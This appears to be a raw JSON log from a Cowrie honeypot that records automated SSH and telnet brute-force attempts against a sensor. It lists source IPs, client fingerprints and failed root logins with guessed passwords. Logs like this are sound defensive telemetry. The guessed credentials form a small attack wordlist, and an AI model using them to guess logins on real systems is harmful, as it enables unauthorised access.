{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:27:01.713470Z","src_ip":"46.19.67.181","session":"46b4772efd79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:27:02.059985Z","src_ip":"46.19.67.181","session":"46b4772efd79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:27:03.176638Z","src_ip":"46.19.67.181","session":"46b4772efd79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":40244,"dst_ip":"10.17.0.5","dst_port":22,"session":"9396152b3e23","protocol":"ssh","message":"New connection: 80.66.85.226:40244 (10.17.0.5:22) [session: 9396152b3e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:27:03.527989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:27:03.532932Z","src_ip":"80.66.85.226","session":"9396152b3e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:27:03.628689Z","src_ip":"80.66.85.226","session":"9396152b3e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrey1","message":"login attempt [root/andrey1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:27:03.914003Z","src_ip":"80.66.85.226","session":"9396152b3e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:27:05.012693Z","src_ip":"80.66.85.226","session":"9396152b3e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54682,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bdf0382f7f5","protocol":"telnet","message":"New connection: 192.119.13.58:54682 (10.17.0.5:23) [session: 3bdf0382f7f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:27:12.148590Z"}
{"eventid":"cowrie.session.closed","duration":38.512908697128296,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:27:50.661368Z","src_ip":"192.119.13.58","session":"3bdf0382f7f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54586,"dst_ip":"10.17.0.5","dst_port":23,"session":"88e4cf286cc3","protocol":"telnet","message":"New connection: 192.119.13.58:54586 (10.17.0.5:23) [session: 88e4cf286cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:28:05.046032Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41374,"dst_ip":"10.17.0.5","dst_port":23,"session":"db070656583f","protocol":"telnet","message":"New connection: 192.119.13.58:41374 (10.17.0.5:23) [session: db070656583f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:28:17.092334Z"}
{"eventid":"cowrie.session.closed","duration":34.87592887878418,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:28:39.921825Z","src_ip":"192.119.13.58","session":"88e4cf286cc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.221280097961426,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:28:59.313574Z","src_ip":"192.119.13.58","session":"db070656583f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":52852,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8ae34306aa2","protocol":"ssh","message":"New connection: 194.113.233.25:52852 (159.203.135.109:22) [session: d8ae34306aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:19.507782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:19.512430Z","src_ip":"194.113.233.25","session":"d8ae34306aa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:19.601251Z","src_ip":"194.113.233.25","session":"d8ae34306aa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:19.868423Z","src_ip":"194.113.233.25","session":"d8ae34306aa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:20.960550Z","src_ip":"194.113.233.25","session":"d8ae34306aa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57800,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6a6693a6f79","protocol":"telnet","message":"New connection: 192.119.13.58:57800 (10.17.0.5:23) [session: c6a6693a6f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:22.019860Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":61230,"dst_ip":"159.203.135.109","dst_port":22,"session":"3de04ac1d588","protocol":"ssh","message":"New connection: 103.219.170.37:61230 (159.203.135.109:22) [session: 3de04ac1d588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:29.212970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:29.217647Z","src_ip":"103.219.170.37","session":"3de04ac1d588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:29.293136Z","src_ip":"103.219.170.37","session":"3de04ac1d588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"support2012","message":"login attempt [root/support2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:29.528048Z","src_ip":"103.219.170.37","session":"3de04ac1d588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:30.610515Z","src_ip":"103.219.170.37","session":"3de04ac1d588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.154.2.19","src_port":57492,"dst_ip":"10.17.0.5","dst_port":22,"session":"db11de44bde4","protocol":"ssh","message":"New connection: 8.154.2.19:57492 (10.17.0.5:22) [session: db11de44bde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:38.074991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:38.078902Z","src_ip":"8.154.2.19","session":"db11de44bde4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:38.323637Z","src_ip":"8.154.2.19","session":"db11de44bde4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tricia","message":"login attempt [root/tricia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:39.331968Z","src_ip":"8.154.2.19","session":"db11de44bde4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:40.580074Z","src_ip":"8.154.2.19","session":"db11de44bde4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":57656,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d5892dc6be2","protocol":"ssh","message":"New connection: 193.37.70.224:57656 (10.17.0.5:22) [session: 3d5892dc6be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:42.479931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:42.498309Z","src_ip":"193.37.70.224","session":"3d5892dc6be2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:42.576820Z","src_ip":"193.37.70.224","session":"3d5892dc6be2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"karate","message":"login attempt [root/karate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:42.944215Z","src_ip":"193.37.70.224","session":"3d5892dc6be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:44.041023Z","src_ip":"193.37.70.224","session":"3d5892dc6be2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.154.2.19","src_port":50478,"dst_ip":"10.17.0.5","dst_port":22,"session":"003e1a60ffd1","protocol":"ssh","message":"New connection: 8.154.2.19:50478 (10.17.0.5:22) [session: 003e1a60ffd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:55.944005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:55.949523Z","src_ip":"8.154.2.19","session":"003e1a60ffd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:56.192783Z","src_ip":"8.154.2.19","session":"003e1a60ffd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0n1g@2020","message":"login attempt [root/k0n1g@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:57.191787Z","src_ip":"8.154.2.19","session":"003e1a60ffd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:29:58.437074Z","src_ip":"8.154.2.19","session":"003e1a60ffd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":16354,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3495c6b1e52","protocol":"ssh","message":"New connection: 38.93.206.2:16354 (10.17.0.5:22) [session: c3495c6b1e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:00.088927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:00.094891Z","src_ip":"38.93.206.2","session":"c3495c6b1e52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:00.146672Z","src_ip":"38.93.206.2","session":"c3495c6b1e52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01010101","message":"login attempt [root/01010101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:00.323450Z","src_ip":"38.93.206.2","session":"c3495c6b1e52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:30:01.376917Z","src_ip":"38.93.206.2","session":"c3495c6b1e52","protocol":"ssh"}
